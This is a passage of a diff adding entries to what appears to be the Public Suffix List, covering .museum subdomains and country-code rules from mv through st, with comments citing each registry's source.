+correios-e-telecomunicações.museum +corvette.museum +costume.museum +countryestate.museum +county.museum +crafts.museum +cranbrook.museum +creation.museum +cultural.museum +culturalcenter.museum +culture.museum +cyber.museum +cymru.museum +dali.museum +dallas.museum +database.museum +ddr.museum +decorativearts.museum +delaware.museum +delmenhorst.museum +denmark.museum +depot.museum +design.museum +detroit.museum +dinosaur.museum +discovery.museum +dolls.museum +donostia.museum +durham.museum +eastafrica.museum +eastcoast.museum +education.museum +educational.museum +egyptian.museum +eisenbahn.museum +elburg.museum +elvendrell.museum +embroidery.museum +encyclopedic.museum +england.museum +entomology.museum +environment.museum +environmentalconservation.museum +epilepsy.museum +essex.museum +estate.museum +ethnology.museum +exeter.museum +exhibition.museum +family.museum +farm.museum +farmequipment.museum +farmers.museum +farmstead.museum +field.museum +figueres.museum +filatelia.museum +film.museum +fineart.museum +finearts.museum +finland.museum +flanders.museum +florida.museum +force.museum +fortmissoula.museum +fortworth.museum +foundation.museum +francaise.museum +frankfurt.museum +franziskaner.museum +freemasonry.museum +freiburg.museum +fribourg.museum +frog.museum +fundacio.museum +furniture.museum +gallery.museum +garden.museum +gateway.museum +geelvinck.museum +gemological.museum +geology.museum +georgia.museum +giessen.museum +glas.museum +glass.museum +gorge.museum +grandrapids.museum +graz.museum +guernsey.museum +halloffame.museum +hamburg.museum +handson.museum +harvestcelebration.museum +hawaii.museum +health.museum +heimatunduhren.museum +hellas.museum +helsinki.museum +hembygdsforbund.museum +heritage.museum +histoire.museum +historical.museum +historicalsociety.museum +historichouses.museum +historisch.museum +historisches.museum +history.museum +historyofscience.museum +horology.museum +house.museum +humanities.museum +illustration.museum +imageandsound.museum +indian.museum +indiana.museum +indianapolis.museum +indianmarket.museum +intelligence.museum +interactive.museum +iraq.museum +iron.museum +isleofman.museum +jamison.museum +jefferson.museum +jerusalem.museum +jewelry.museum +jewish.museum +jewishart.museum +jfk.museum +journalism.museum +judaica.museum +judygarland.museum +juedisches.museum +juif.museum +karate.museum +karikatur.museum +kids.museum +koebenhavn.museum +koeln.museum +kunst.museum +kunstsammlung.museum +kunstunddesign.museum +labor.museum +labour.museum +lajolla.museum +lancashire.museum +landes.museum +lans.museum +läns.museum +larsson.museum +lewismiller.museum +lincoln.museum +linz.museum +living.museum +livinghistory.museum +localhistory.museum +london.museum +losangeles.museum +louvre.museum +loyalist.museum +lucerne.museum +luxembourg.museum +luzern.museum +mad.museum +madrid.museum +mallorca.museum +manchester.museum +mansion.museum +mansions.museum +manx.museum +marburg.museum +maritime.museum +maritimo.museum +maryland.museum +marylhurst.museum +media.museum +medical.museum +medizinhistorisches.museum +meeres.museum +memorial.museum +mesaverde.museum +michigan.museum +midatlantic.museum +military.museum +mill.museum +miners.museum +mining.museum +minnesota.museum +missile.museum +missoula.museum +modern.museum +moma.museum +money.museum +monmouth.museum +monticello.museum +montreal.museum +moscow.museum +motorcycle.museum +muenchen.museum +muenster.museum +mulhouse.museum +muncie.museum +museet.museum +museumcenter.museum +museumvereniging.museum +music.museum +national.museum +nationalfirearms.museum +nationalheritage.museum +nativeamerican.museum +naturalhistory.museum +naturalhistorymuseum.museum +naturalsciences.museum +nature.museum +naturhistorisches.museum +natuurwetenschappen.museum +naumburg.museum +naval.museum +nebraska.museum +neues.museum +newhampshire.museum +newjersey.museum +newmexico.museum +newport.museum +newspaper.museum +newyork.museum +niepce.museum +norfolk.museum +north.museum +nrw.museum +nuernberg.museum +nuremberg.museum +nyc.museum +nyny.museum +oceanographic.museum +oceanographique.museum +omaha.museum +online.museum +ontario.museum +openair.museum +oregon.museum +oregontrail.museum +otago.museum +oxford.museum +pacific.museum +paderborn.museum +palace.museum +paleo.museum +palmsprings.museum +panama.museum +paris.museum +pasadena.museum +pharmacy.museum +philadelphia.museum +philadelphiaarea.museum +philately.museum +phoenix.museum +photography.museum +pilots.museum +pittsburgh.museum +planetarium.museum +plantation.museum +plants.museum +plaza.museum +portal.museum +portland.museum +portlligat.museum +posts-and-telecommunications.museum +preservation.museum +presidio.museum +press.museum +project.museum +public.museum +pubol.museum +quebec.museum +railroad.museum +railway.museum +research.museum +resistance.museum +riodejaneiro.museum +rochester.museum +rockart.museum +roma.museum +russia.museum +saintlouis.museum +salem.museum +salvadordali.museum +salzburg.museum +sandiego.museum +sanfrancisco.museum +santabarbara.museum +santacruz.museum +santafe.museum +saskatchewan.museum +satx.museum +savannahga.museum +schlesisches.museum +schoenbrunn.museum +schokoladen.museum +school.museum +schweiz.museum +science.museum +scienceandhistory.museum +scienceandindustry.museum +sciencecenter.museum +sciencecenters.museum +science-fiction.museum +sciencehistory.museum +sciences.museum +sciencesnaturelles.museum +scotland.museum +seaport.museum +settlement.museum +settlers.museum +shell.museum +sherbrooke.museum +sibenik.museum +silk.museum +ski.museum +skole.museum +society.museum +sologne.museum +soundandvision.museum +southcarolina.museum +southwest.museum +space.museum +spy.museum +square.museum +stadt.museum +stalbans.museum +starnberg.museum +state.museum +stateofdelaware.museum +station.museum +steam.museum +steiermark.museum +stjohn.museum +stockholm.museum +stpetersburg.museum +stuttgart.museum +suisse.museum +surgeonshall.museum +surrey.museum +svizzera.museum +sweden.museum +sydney.museum +tank.museum +tcm.museum +technology.museum +telekommunikation.museum +television.museum +texas.museum +textile.museum +theater.museum +time.museum +timekeeping.museum +topology.museum +torino.museum +touch.museum +town.museum +transport.museum +tree.museum +trolley.museum +trust.museum +trustee.museum +uhren.museum +ulm.museum +undersea.museum +university.museum +usa.museum +usantiques.museum +usarts.museum +uscountryestate.museum +usculture.museum +usdecorativearts.museum +usgarden.museum +ushistory.museum +ushuaia.museum +uslivinghistory.museum +utah.museum +uvic.museum +valley.museum +vantaa.museum +versailles.museum +viking.museum +village.museum +virginia.museum +virtual.museum +virtuel.museum +vlaanderen.museum +volkenkunde.museum +wales.museum +wallonie.museum +war.museum +washingtondc.museum +watchandclock.museum +watch-and-clock.museum +western.museum +westfalen.museum +whaling.museum +wildlife.museum +williamsburg.museum +windmill.museum +workshop.museum +york.museum +yorkshire.museum +yosemite.museum +youth.museum +zoological.museum +zoology.museum +ירושלים.museum +иком.museum + +// mv : http://en.wikipedia.org/wiki/.mv +// "mv" included because, contra Wikipedia, google.mv exists. +mv +aero.mv +biz.mv +com.mv +coop.mv +edu.mv +gov.mv +info.mv +int.mv +mil.mv +museum.mv +name.mv +net.mv +org.mv +pro.mv + +// mw : http://www.registrar.mw/ +mw +ac.mw +biz.mw +co.mw +com.mw +coop.mw +edu.mw +gov.mw +int.mw +museum.mw +net.mw +org.mw + +// mx : http://www.nic.mx/ +// Submitted by registry 2008-06-19 +mx +com.mx +org.mx +gob.mx +edu.mx +net.mx + +// my : http://www.mynic.net.my/ +my +com.my +net.my +org.my +gov.my +edu.my +mil.my +name.my + +// mz : http://www.gobin.info/domainname/mz-template.doc +*.mz + +// na : http://www.na-nic.com.na/ +// http://www.info.na/domain/ +na +info.na +pro.na +name.na +school.na +or.na +dr.na +us.na +mx.na +ca.na +in.na +cc.na +tv.na +ws.na +mobi.na +co.na +com.na +org.na + +// name : has 2nd-level tlds, but there's no list of them +name + +// nc : http://www.cctld.nc/ +nc +asso.nc + +// ne : http://en.wikipedia.org/wiki/.ne +ne + +// net : http://en.wikipedia.org/wiki/.net +net + +// CentralNic names : http://www.centralnic.com/names/domains +// Submitted by registry 2008-06-17 +gb.net +se.net +uk.net + +// ZaNiC names : http://www.za.net/ +// Confirmed by registry 2009-10-03 +za.net + +// nf : http://en.wikipedia.org/wiki/.nf +nf +com.nf +net.nf +per.nf +rec.nf +web.nf +arts.nf +firm.nf +info.nf +other.nf +store.nf + +// ng : http://psg.com/dns/ng/ +// Submitted by registry 2008-06-17 +ac.ng +com.ng +edu.ng +gov.ng +net.ng +org.ng + +// ni : http://www.nic.ni/dominios.htm +*.ni + +// nl : http://www.domain-registry.nl/ace.php/c,728,122,,,,Home.html +// Confirmed by registry (with technical +// reservations) 2008-06-08 +nl + +// BV.nl will be a registry for dutch BV's (besloten vennootschap) +bv.nl + +// the co.nl domain is managed by CoDNS B.V. Added 2010-05-23. +co.nl + +// no : http://www.norid.no/regelverk/index.en.html +// The Norwegian registry has declined to notify us of updates. The web pages +// referenced below are the official source of the data. There is also an +// announce mailing list: +// https://postlister.uninett.no/sympa/info/norid-diskusjon +no +// Norid generic domains : http://www.norid.no/regelverk/vedlegg-c.en.html +fhs.no +vgs.no +fylkesbibl.no +folkebibl.no +museum.no +idrett.no +priv.no +// Non-Norid generic domains : http://www.norid.no/regelverk/vedlegg-d.en.html +mil.no +stat.no +dep.no +kommune.no +herad.no +// no geographical names : http://www.norid.no/regelverk/vedlegg-b.en.html +// counties +aa.no +ah.no +bu.no +fm.no +hl.no +hm.no +jan-mayen.no +mr.no +nl.no +nt.no +of.no +ol.no +oslo.no +rl.no +sf.no +st.no +svalbard.no +tm.no +tr.no +va.no +vf.no +// primary and lower secondary schools per county +gs.aa.no +gs.ah.no +gs.bu.no +gs.fm.no +gs.hl.no +gs.hm.no +gs.jan-mayen.no +gs.mr.no +gs.nl.no +gs.nt.no +gs.of.no +gs.ol.no +gs.oslo.no +gs.rl.no +gs.sf.no +gs.st.no +gs.svalbard.no +gs.tm.no +gs.tr.no +gs.va.no +gs.vf.no +// cities +akrehamn.no +åkrehamn.no +algard.no +ålgård.no +arna.no +brumunddal.no +bryne.no +bronnoysund.no +brønnøysund.no +drobak.no +drøbak.no +egersund.no +fetsund.no +floro.no +florø.no +fredrikstad.no +hokksund.no +honefoss.no +hønefoss.no +jessheim.no +jorpeland.no +jørpeland.no +kirkenes.no +kopervik.no +krokstadelva.no +langevag.no +langevåg.no +leirvik.no +mjondalen.no +mjøndalen.no +mo-i-rana.no +mosjoen.no +mosjøen.no +nesoddtangen.no +orkanger.no +osoyro.no +osøyro.no +raholt.no +råholt.no +sandnessjoen.no +sandnessjøen.no +skedsmokorset.no +slattum.no +spjelkavik.no +stathelle.no +stavern.no +stjordalshalsen.no +stjørdalshalsen.no +tananger.no +tranby.no +vossevangen.no +// communities +afjord.no +åfjord.no +agdenes.no +al.no +ål.no +alesund.no +ålesund.no +alstahaug.no +alta.no +áltá.no +alaheadju.no +álaheadju.no +alvdal.no +amli.no +åmli.no +amot.no +åmot.no +andebu.no +andoy.no +andøy.no +andasuolo.no +ardal.no +årdal.no +aremark.no +arendal.no +ås.no +aseral.no +åseral.no +asker.no +askim.no +askvoll.no +askoy.no +askøy.no +asnes.no +åsnes.no +audnedaln.no +aukra.no +aure.no +aurland.no +aurskog-holand.no +aurskog-høland.no +austevoll.no +austrheim.no +averoy.no +averøy.no +balestrand.no +ballangen.no +balat.no +bálát.no +balsfjord.no +bahccavuotna.no +báhccavuotna.no +bamble.no +bardu.no +beardu.no +beiarn.no +bajddar.no +bájddar.no +baidar.no +báidár.no +berg.no +bergen.no +berlevag.no +berlevåg.no +bearalvahki.no +bearalváhki.no +bindal.no +birkenes.no +bjarkoy.no +bjarkøy.no +bjerkreim.no +bjugn.no +bodo.no +bodø.no +badaddja.no +bådåddjå.no +budejju.no +bokn.no +bremanger.no +bronnoy.no +brønnøy.no +bygland.no +bykle.no +barum.no +bærum.no +bo.telemark.no +bø.telemark.no +bo.nordland.no +bø.nordland.no +bievat.no +bievát.no +bomlo.no +bømlo.no +batsfjord.no +båtsfjord.no +bahcavuotna.no +báhcavuotna.no +dovre.no +drammen.no +drangedal.no +dyroy.no +dyrøy.no +donna.no +dønna.no +eid.no +eidfjord.no +eidsberg.no +eidskog.no +eidsvoll.no +eigersund.no +elverum.no +enebakk.no +engerdal.no +etne.no +etnedal.no +evenes.no +evenassi.no +evenášši.no +evje-og-hornnes.no +farsund.no +fauske.no +fuossko.no +fuoisku.no +fedje.no +fet.no +finnoy.no +finnøy.no +fitjar.no +fjaler.no +fjell.no +flakstad.no +flatanger.no +flekkefjord.no +flesberg.no +flora.no +fla.no +flå.no +folldal.no +forsand.no +fosnes.no +frei.no +frogn.no +froland.no +frosta.no +frana.no +fræna.no +froya.no +frøya.no +fusa.no +fyresdal.no +forde.no +førde.no +gamvik.no +gangaviika.no +gáŋgaviika.no +gaular.no +gausdal.no +gildeskal.no +gildeskål.no +giske.no +gjemnes.no +gjerdrum.no +gjerstad.no +gjesdal.no +gjovik.no +gjøvik.no +gloppen.no +gol.no +gran.no +grane.no +granvin.no +gratangen.no +grimstad.no +grong.no +kraanghke.no +kråanghke.no +grue.no +gulen.no +hadsel.no +halden.no +halsa.no +hamar.no +hamaroy.no +habmer.no +hábmer.no +hapmir.no +hápmir.no +hammerfest.no +hammarfeasta.no +hámmárfeasta.no +haram.no +hareid.no +harstad.no +hasvik.no +aknoluokta.no +ákŋoluokta.no +hattfjelldal.no +aarborte.no +haugesund.no +hemne.no +hemnes.no +hemsedal.no +heroy.more-og-romsdal.no +herøy.møre-og-romsdal.no +heroy.nordland.no +herøy.nordland.no +hitra.no +hjartdal.no +hjelmeland.no +hobol.no +hobøl.no +hof.no +hol.no +hole.no +holmestrand.no +holtalen.no +holtålen.no +hornindal.no +horten.no +hurdal.no +hurum.no +hvaler.no +hyllestad.no +hagebostad.no +hægebostad.no +hoyanger.no +høyanger.no +hoylandet.no +høylandet.no +ha.no +hå.no +ibestad.no +inderoy.no +inderøy.no +iveland.no +jevnaker.no +jondal.no +jolster.no +jølster.no +karasjok.no +karasjohka.no +kárášjohka.no +karlsoy.no +galsa.no +gálsá.no +karmoy.no +karmøy.no +kautokeino.no +guovdageaidnu.no +klepp.no +klabu.no +klæbu.no +kongsberg.no +kongsvinger.no +kragero.no +kragerø.no +kristiansand.no +kristiansund.no +krodsherad.no +krødsherad.no +kvalsund.no +rahkkeravju.no +ráhkkerávju.no +kvam.no +kvinesdal.no +kvinnherad.no +kviteseid.no +kvitsoy.no +kvitsøy.no +kvafjord.no +kvæfjord.no +giehtavuoatna.no +kvanangen.no +kvænangen.no +navuotna.no +návuotna.no +kafjord.no +kåfjord.no +gaivuotna.no +gáivuotna.no +larvik.no +lavangen.no +lavagis.no +loabat.no +loabát.no +lebesby.no +davvesiida.no +leikanger.no +leirfjord.no +leka.no +leksvik.no +lenvik.no +leangaviika.no +leaŋgaviika.no +lesja.no +levanger.no +lier.no +lierne.no +lillehammer.no +lillesand.no +lindesnes.no +lindas.no +lindås.no +lom.no +loppa.no +lahppi.no +láhppi.no +lund.no +lunner.no +luroy.no +lurøy.no +luster.no +lyngdal.no +lyngen.no +ivgu.no +lardal.no +lerdal.no +lærdal.no +lodingen.no +lødingen.no +lorenskog.no +lørenskog.no +loten.no +løten.no +malvik.no +masoy.no +måsøy.no +muosat.no +muosát.no +mandal.no +marker.no +marnardal.no +masfjorden.no +meland.no +meldal.no +melhus.no +meloy.no +meløy.no +meraker.no +meråker.no +moareke.no +moåreke.no +midsund.no +midtre-gauldal.no +modalen.no +modum.no +molde.no +moskenes.no +moss.no +mosvik.no +malselv.no +målselv.no +malatvuopmi.no +málatvuopmi.no +namdalseid.no +aejrie.no +namsos.no +namsskogan.no +naamesjevuemie.no +nååmesjevuemie.no +laakesvuemie.no +nannestad.no +narvik.no +narviika.no +naustdal.no +nedre-eiker.no +nes.akershus.no +nes.buskerud.no +nesna.no +nesodden.no +nesseby.no +unjarga.no +unjárga.no +nesset.no +nissedal.no +nittedal.no +nord-aurdal.no +nord-fron.no +nord-odal.no +norddal.no +nordkapp.no +davvenjarga.no +davvenjárga.no +nordre-land.no +nordreisa.no +raisa.no +ráisa.no +nore-og-uvdal.no +notodden.no +naroy.no +nærøy.no +notteroy.no +nøtterøy.no +odda.no +oksnes.no +øksnes.no +oppdal.no +oppegard.no +oppegård.no +orkdal.no +orland.no +ørland.no +orskog.no +ørskog.no +orsta.no +ørsta.no +os.hedmark.no +os.hordaland.no +osen.no +osteroy.no +osterøy.no +ostre-toten.no +østre-toten.no +overhalla.no +ovre-eiker.no +øvre-eiker.no +oyer.no +øyer.no +oygarden.no +øygarden.no +oystre-slidre.no +øystre-slidre.no +porsanger.no +porsangu.no +porsáŋgu.no +porsgrunn.no +radoy.no +radøy.no +rakkestad.no +rana.no +ruovat.no +randaberg.no +rauma.no +rendalen.no +rennebu.no +rennesoy.no +rennesøy.no +rindal.no +ringebu.no +ringerike.no +ringsaker.no +rissa.no +risor.no +risør.no +roan.no +rollag.no +rygge.no +ralingen.no +rælingen.no +rodoy.no +rødøy.no +romskog.no +rømskog.no +roros.no +røros.no +rost.no +røst.no +royken.no +røyken.no +royrvik.no +røyrvik.no +rade.no +råde.no +salangen.no +siellak.no +saltdal.no +salat.no +sálát.no +sálat.no +samnanger.no +sande.more-og-romsdal.no +sande.møre-og-romsdal.no +sande.vestfold.no +sandefjord.no +sandnes.no +sandoy.no +sandøy.no +sarpsborg.no +sauda.no +sauherad.no +sel.no +selbu.no +selje.no +seljord.no +sigdal.no +siljan.no +sirdal.no +skaun.no +skedsmo.no +ski.no +skien.no +skiptvet.no +skjervoy.no +skjervøy.no +skierva.no +skiervá.no +skjak.no +skjåk.no +skodje.no +skanland.no +skånland.no +skanit.no +skánit.no +smola.no +smøla.no +snillfjord.no +snasa.no +snåsa.no +snoasa.no +snaase.no +snåase.no +sogndal.no +sokndal.no +sola.no +solund.no +songdalen.no +sortland.no +spydeberg.no +stange.no +stavanger.no +steigen.no +steinkjer.no +stjordal.no +stjørdal.no +stokke.no +stor-elvdal.no +stord.no +stordal.no +storfjord.no +omasvuotna.no +strand.no +stranda.no +stryn.no +sula.no +suldal.no +sund.no +sunndal.no +surnadal.no +sveio.no +svelvik.no +sykkylven.no +sogne.no +søgne.no +somna.no +sømna.no +sondre-land.no +søndre-land.no +sor-aurdal.no +sør-aurdal.no +sor-fron.no +sør-fron.no +sor-odal.no +sør-odal.no +sor-varanger.no +sør-varanger.no +matta-varjjat.no +mátta-várjjat.no +sorfold.no +sørfold.no +sorreisa.no +sørreisa.no +sorum.no +sørum.no +tana.no +deatnu.no +time.no +tingvoll.no +tinn.no +tjeldsund.no +dielddanuorri.no +tjome.no +tjøme.no +tokke.no +tolga.no +torsken.no +tranoy.no +tranøy.no +tromso.no +tromsø.no +tromsa.no +romsa.no +trondheim.no +troandin.no +trysil.no +trana.no +træna.no +trogstad.no +trøgstad.no +tvedestrand.no +tydal.no +tynset.no +tysfjord.no +divtasvuodna.no +divttasvuotna.no +tysnes.no +tysvar.no +tysvær.no +tonsberg.no +tønsberg.no +ullensaker.no +ullensvang.no +ulvik.no +utsira.no +vadso.no +vadsø.no +cahcesuolo.no +čáhcesuolo.no +vaksdal.no +valle.no +vang.no +vanylven.no +vardo.no +vardø.no +varggat.no +várggát.no +vefsn.no +vaapste.no +vega.no +vegarshei.no +vegårshei.no +vennesla.no +verdal.no +verran.no +vestby.no +vestnes.no +vestre-slidre.no +vestre-toten.no +vestvagoy.no +vestvågøy.no +vevelstad.no +vik.no +vikna.no +vindafjord.no +volda.no +voss.no +varoy.no +værøy.no +vagan.no +vågan.no +voagat.no +vagsoy.no +vågsøy.no +vaga.no +vågå.no +valer.ostfold.no +våler.østfold.no +valer.hedmark.no +våler.hedmark.no + +// the co.no domain is managed by CoDNS B.V. Added 2010-05-23. +co.no + +// np : http://www.mos.com.np/register.html +*.np + +// nr : http://cenpac.net.nr/dns/index.html +// Confirmed by registry 2008-06-17 +nr +biz.nr +info.nr +gov.nr +edu.nr +org.nr +net.nr +com.nr + +// nu : http://en.wikipedia.org/wiki/.nu +nu + +// nz : http://en.wikipedia.org/wiki/.nz +*.nz + +// om : http://en.wikipedia.org/wiki/.om +*.om +!mediaphone.om +!nawrastelecom.om +!nawras.om +!omanmobile.om +!omanpost.om +!omantel.om +!rakpetroleum.om +!siemens.om +!songfest.om +!statecouncil.om + +// org : http://en.wikipedia.org/wiki/.org +org + +// CentralNic names : http://www.centralnic.com/names/domains +// Submitted by registry 2008-06-17 +ae.org + +// ZaNiC names : http://www.za.net/ +// Confirmed by registry 2009-10-03 +za.org + +// pa : http://www.nic.pa/ +// Some additional second level "domains" resolve directly as hostnames, such as +// pannet.pa, so we add a rule for "pa". +pa +ac.pa +gob.pa +com.pa +org.pa +sld.pa +edu.pa +net.pa +ing.pa +abo.pa +med.pa +nom.pa + +// pe : https://www.nic.pe/InformeFinalComision.pdf +pe +edu.pe +gob.pe +nom.pe +mil.pe +org.pe +com.pe +net.pe + +// pf : http://www.gobin.info/domainname/formulaire-pf.pdf +pf +com.pf +org.pf +edu.pf + +// pg : http://en.wikipedia.org/wiki/.pg +*.pg + +// ph : http://www.domains.ph/FAQ2.asp +// Submitted by registry 2008-06-13 +ph +com.ph +net.ph +org.ph +gov.ph +edu.ph +ngo.ph +mil.ph +i.ph + +// pk : http://pk5.pknic.net.pk/pk5/msgNamepk.PK +pk +com.pk +net.pk +edu.pk +org.pk +fam.pk +biz.pk +web.pk +gov.pk +gob.pk +gok.pk +gon.pk +gop.pk +gos.pk +info.pk + +// pl : http://www.dns.pl/english/ +pl +// NASK functional domains (nask.pl / dns.pl) : http://www.dns.pl/english/dns-funk.html +aid.pl +agro.pl +atm.pl +auto.pl +biz.pl +com.pl +edu.pl +gmina.pl +gsm.pl +info.pl +mail.pl +miasta.pl +media.pl +mil.pl +net.pl +nieruchomosci.pl +nom.pl +org.pl +pc.pl +powiat.pl +priv.pl +realestate.pl +rel.pl +sex.pl +shop.pl +sklep.pl +sos.pl +szkola.pl +targi.pl +tm.pl +tourism.pl +travel.pl +turystyka.pl +// ICM functional domains (icm.edu.pl) +6bone.pl +art.pl +mbone.pl +// Government domains (administred by ippt.gov.pl) +gov.pl +uw.gov.pl +um.gov.pl +ug.gov.pl +upow.gov.pl +starostwo.gov.pl +so.gov.pl +sr.gov.pl +po.gov.pl +pa.gov.pl +// other functional domains +ngo.pl +irc.pl +usenet.pl +// NASK geographical domains : http://www.dns.pl/english/dns-regiony.html +augustow.pl +babia-gora.pl +bedzin.pl +beskidy.pl +bialowieza.pl +bialystok.pl +bielawa.pl +bieszczady.pl +boleslawiec.pl +bydgoszcz.pl +bytom.pl +cieszyn.pl +czeladz.pl +czest.pl +dlugoleka.pl +elblag.pl +elk.pl +glogow.pl +gniezno.pl +gorlice.pl +grajewo.pl +ilawa.pl +jaworzno.pl +jelenia-gora.pl +jgora.pl +kalisz.pl +kazimierz-dolny.pl +karpacz.pl +kartuzy.pl +kaszuby.pl +katowice.pl +kepno.pl +ketrzyn.pl +klodzko.pl +kobierzyce.pl +kolobrzeg.pl +konin.pl +konskowola.pl +kutno.pl +lapy.pl +lebork.pl +legnica.pl +lezajsk.pl +limanowa.pl +lomza.pl +lowicz.pl +lubin.pl +lukow.pl +malbork.pl +malopolska.pl +mazowsze.pl +mazury.pl +mielec.pl +mielno.pl +mragowo.pl +naklo.pl +nowaruda.pl +nysa.pl +olawa.pl +olecko.pl +olkusz.pl +olsztyn.pl +opoczno.pl +opole.pl +ostroda.pl +ostroleka.pl +ostrowiec.pl +ostrowwlkp.pl +pila.pl +pisz.pl +podhale.pl +podlasie.pl +polkowice.pl +pomorze.pl +pomorskie.pl +prochowice.pl +pruszkow.pl +przeworsk.pl +pulawy.pl +radom.pl +rawa-maz.pl +rybnik.pl +rzeszow.pl +sanok.pl +sejny.pl +siedlce.pl +slask.pl +slupsk.pl +sosnowiec.pl +stalowa-wola.pl +skoczow.pl +starachowice.pl +stargard.pl +suwalki.pl +swidnica.pl +swiebodzin.pl +swinoujscie.pl +szczecin.pl +szczytno.pl +tarnobrzeg.pl +tgory.pl +turek.pl +tychy.pl +ustka.pl +walbrzych.pl +warmia.pl +warszawa.pl +waw.pl +wegrow.pl +wielun.pl +wlocl.pl +wloclawek.pl +wodzislaw.pl +wolomin.pl +wroclaw.pl +zachpomor.pl +zagan.pl +zarow.pl +zgora.pl +zgorzelec.pl +// TASK geographical domains (www.task.gda.pl/uslugi/dns) +gda.pl +gdansk.pl +gdynia.pl +med.pl +sopot.pl +// other geographical domains +gliwice.pl +krakow.pl +poznan.pl +wroc.pl +zakopane.pl + +// co.pl : Mainseek Sp. z o.o. http://www.co.pl +co.pl + +// pn : http://www.government.pn/PnRegistry/policies.htm +pn +gov.pn +co.pn +org.pn +edu.pn +net.pn + +// pr : http://www.nic.pr/index.asp?f=1 +pr +com.pr +net.pr +org.pr +gov.pr +edu.pr +isla.pr +pro.pr +biz.pr +info.pr +name.pr +// these aren't mentioned on nic.pr, but on http://en.wikipedia.org/wiki/.pr +est.pr +prof.pr +ac.pr + +// pro : http://www.nic.pro/support_faq.htm +pro +aca.pro +bar.pro +cpa.pro +jur.pro +law.pro +med.pro +eng.pro + +// ps : http://en.wikipedia.org/wiki/.ps +// http://www.nic.ps/registration/policy.html#reg +ps +edu.ps +gov.ps +sec.ps +plo.ps +com.ps +org.ps +net.ps + +// pt : http://online.dns.pt/dns/start_dns +pt +net.pt +gov.pt +org.pt +edu.pt +int.pt +publ.pt +com.pt +nome.pt + +// pw : http://en.wikipedia.org/wiki/.pw +pw +co.pw +ne.pw +or.pw +ed.pw +go.pw +belau.pw + +// py : http://www.nic.py/faq_a.html#faq_b +*.py + +// qa : http://www.qatar.net.qa/services/virtual.htm +*.qa + +// re : http://www.afnic.re/obtenir/chartes/nommage-re/annexe-descriptifs +re +com.re +asso.re +nom.re + +// ro : http://www.rotld.ro/ +ro +com.ro +org.ro +tm.ro +nt.ro +nom.ro +info.ro +rec.ro +arts.ro +firm.ro +store.ro +www.ro + +// rs : http://en.wikipedia.org/wiki/.rs +rs +co.rs +org.rs +edu.rs +ac.rs +gov.rs +in.rs + +// ru : http://www.cctld.ru/ru/docs/aktiv_8.php +// Industry domains +ru +ac.ru +com.ru +edu.ru +int.ru +net.ru +org.ru +pp.ru +// Geographical domains +adygeya.ru +altai.ru +amur.ru +arkhangelsk.ru +astrakhan.ru +bashkiria.ru +belgorod.ru +bir.ru +bryansk.ru +buryatia.ru +cbg.ru +chel.ru +chelyabinsk.ru +chita.ru +chukotka.ru +chuvashia.ru +dagestan.ru +dudinka.ru +e-burg.ru +grozny.ru +irkutsk.ru +ivanovo.ru +izhevsk.ru +jar.ru +joshkar-ola.ru +kalmykia.ru +kaluga.ru +kamchatka.ru +karelia.ru +kazan.ru +kchr.ru +kemerovo.ru +khabarovsk.ru +khakassia.ru +khv.ru +kirov.ru +koenig.ru +komi.ru +kostroma.ru +krasnoyarsk.ru +kuban.ru +kurgan.ru +kursk.ru +lipetsk.ru +magadan.ru +mari.ru +mari-el.ru +marine.ru +mordovia.ru +mosreg.ru +msk.ru +murmansk.ru +nalchik.ru +nnov.ru +nov.ru +novosibirsk.ru +nsk.ru +omsk.ru +orenburg.ru +oryol.ru +palana.ru +penza.ru +perm.ru +pskov.ru +ptz.ru +rnd.ru +ryazan.ru +sakhalin.ru +samara.ru +saratov.ru +simbirsk.ru +smolensk.ru +spb.ru +stavropol.ru +stv.ru +surgut.ru +tambov.ru +tatarstan.ru +tom.ru +tomsk.ru +tsaritsyn.ru +tsk.ru +tula.ru +tuva.ru +tver.ru +tyumen.ru +udm.ru +udmurtia.ru +ulan-ude.ru +vladikavkaz.ru +vladimir.ru +vladivostok.ru +volgograd.ru +vologda.ru +voronezh.ru +vrn.ru +vyatka.ru +yakutia.ru +yamal.ru +yaroslavl.ru +yekaterinburg.ru +yuzhno-sakhalinsk.ru +// More geographical domains +amursk.ru +baikal.ru +cmw.ru +fareast.ru +jamal.ru +kms.ru +k-uralsk.ru +kustanai.ru +kuzbass.ru +magnitka.ru +mytis.ru +nakhodka.ru +nkz.ru +norilsk.ru +oskol.ru +pyatigorsk.ru +rubtsovsk.ru +snz.ru +syzran.ru +vdonsk.ru +zgrad.ru +// State domains +gov.ru +mil.ru +// Technical domains +test.ru + +// rw : http://www.nic.rw/cgi-bin/policy.pl +rw +gov.rw +net.rw +edu.rw +ac.rw +com.rw +co.rw +int.rw +mil.rw +gouv.rw + +// sa : http://www.nic.net.sa/ +sa +com.sa +net.sa +org.sa +gov.sa +med.sa +pub.sa +edu.sa +sch.sa + +// sb : http://www.sbnic.net.sb/ +// Submitted by registry 2008-06-08 +sb +com.sb +edu.sb +gov.sb +net.sb +org.sb + +// sc : http://www.nic.sc/ +sc +com.sc +gov.sc +net.sc +org.sc +edu.sc + +// sd : http://www.isoc.sd/sudanic.isoc.sd/billing_pricing.htm +// Submitted by registry 2008-06-17 +sd +com.sd +net.sd +org.sd +edu.sd +med.sd +gov.sd +info.sd + +// se : http://en.wikipedia.org/wiki/.se +// Submitted by registry 2008-06-24 +se +a.se +ac.se +b.se +bd.se +brand.se +c.se +d.se +e.se +f.se +fh.se +fhsk.se +fhv.se +g.se +h.se +i.se +k.se +komforb.se +kommunalforbund.se +komvux.se +l.se +lanbib.se +m.se +n.se +naturbruksgymn.se +o.se +org.se +p.se +parti.se +pp.se +press.se +r.se +s.se +sshn.se +t.se +tm.se +u.se +w.se +x.se +y.se +z.se + +// sg : http://www.nic.net.sg/sub_policies_agreement/2ld.html +sg +com.sg +net.sg +org.sg +gov.sg +edu.sg +per.sg + +// sh : http://www.nic.sh/rules.html +// list of 2nd level domains ? +sh + +// si : http://en.wikipedia.org/wiki/.si +si + +// sj : No registrations at this time. +// Submitted by registry 2008-06-16 + +// sk : http://en.wikipedia.org/wiki/.sk +// list of 2nd level domains ? +sk + +// sl : http://www.nic.sl +// Submitted by registry 2008-06-12 +sl +com.sl +net.sl +edu.sl +gov.sl +org.sl + +// sm : http://en.wikipedia.org/wiki/.sm +sm + +// sn : http://en.wikipedia.org/wiki/.sn +sn +art.sn +com.sn +edu.sn +gouv.sn +org.sn +perso.sn +univ.sn + +// so : http://www.soregistry.com/ +so +com.so +net.so +org.so + +// sr : http://en.wikipedia.org/wiki/.sr +sr + +// st : http://www.nic.st/html/policyrules/ +st +co.st +com.st +consulado.st +edu.st 